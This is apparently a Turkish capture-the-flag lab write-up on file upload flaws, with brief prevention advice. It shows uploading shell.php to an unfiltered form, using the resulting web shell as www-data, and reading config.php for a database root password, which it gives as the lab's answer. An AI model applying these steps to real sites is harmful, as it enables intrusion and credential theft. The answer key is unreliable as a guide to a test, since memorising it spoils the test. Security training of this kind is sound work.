

3. File Upload

File Upload Nedir; kullanıcıların web uygulamasına dosya yüklemesine olanak tanıyan bir işlemdir. Bu özellik, kötü niyetli kullanıcıların zararlı dosyalar yükleyerek sistemde güvenlik açıklarına neden olmasına yol açabilir.

Nasıl Önlenir; File upload işlemlerini önlemek için yalnızca belirli dosya türlerine (örneğin, .jpg, .png) ve maksimum boyut sınırına izin verilmelidir; ayrıca yüklenen dosyalar güvenli bir dizine kaydedilmeli ve dosya içeriği, uzantısı ile tutarlılığı kontrol edilerek zararlı yazılımların yüklenmesi engellenmelidir.

3.1 Basic File Upload

ÇÖZÜM

Karşımızda ki web adresimiz bu

Dosya Yöneticisi

Yüklemeleri sil

İzin verilen formatlar: gif, jpg, jpeg, png

Bir resim yükleyin.

Dosya Seçin:

Gözet...

Dosya seçilmedi.

Yüklemek

İzin verilen formatlar belirtilmiş, ancak acaba yazılımcı filtreleme, yapmış mı test edelim.

Dosya Seçin:

Gözet...

shell.php

Bir resim yükleyin.

Dosya başarıyla yüklendi!

Dosya yolu: [uploads/shell.php](#)

Evet yüklendi hatta , yazılımcının burada ki bir hatası ise dosya yolunu vermesi , çünkü biz php betiğini çalıştırırsak bu betil shell'e ulaşır shell'i açıyor. Eğer bunu random bir isimle ve farklı bir dizin adıyla ve üstüne erişim kısıtlaması getirseydi url'den dosyamıza gitmeyi. Belki ulaşamıyacak veya başka bir bypasslama yöntemlerine başvuracaktık.

Ve shell.php ye gittiğimizde bizi karşılayan ekran bu;

```

                                p0wn@sh0x
www-data@debian:~/html/uploads# whoami
www-data
```

Buraya komutlarımızı yazabiliriz.

Şimdi ise makinenin bizden istediği soruya bakalım. Config.php dosyasında ki veritabanı şifresi ne diye soruyor.

```

www-data@debian:~/html/uploads# locate config.php
sh: 1: locate: not found

www-data@debian:~/html/uploads# find config.php
find: 'config.php': No such file or directory

www-data@debian:~/html/uploads# ls -al
total 28
drwxr-xr-x 2 www-data www-data 4096 Oct 12 07:39 .
drwxr-xr-x 4 www-data www-data 4096 Oct 12 07:35 ..
-rw-r--r-- 1 www-data www-data 20321 Oct 12 07:39 shell.php

www-data@debian:~/html/uploads# cd ..
```

Burada dosya araması yapıyorum nerede diye , gizli dosyaları inceliyorum ancak bulamıyorum ama bir üst dizine gittiğimde görüyorum.

```

www-data@debian:~/www/html# ls
assets
config.php
delete.php
index.php
uploads
```

Cat ile okuyalım.

```

www-data@debian:~/www/html# cat config.php
<?php
try{
    $host = 'localhost';
    $db_name = 'hv_database';
    $charset = 'utf8';
    $username = 'root';
    $password = '8jv77mvXwR7LVU5v';

    $db = new PDO("mysql:host=$host;dbname=$db_name;charset=$charset",$username,$password);
} catch(PDOException $e){

}
?>
```

Ve cevaba ulaştık.

Soru: Config.php dosyası içerisinde ki veritabanı şifresi nedir?

Cevap: 8jv77mvXwR7LVU5v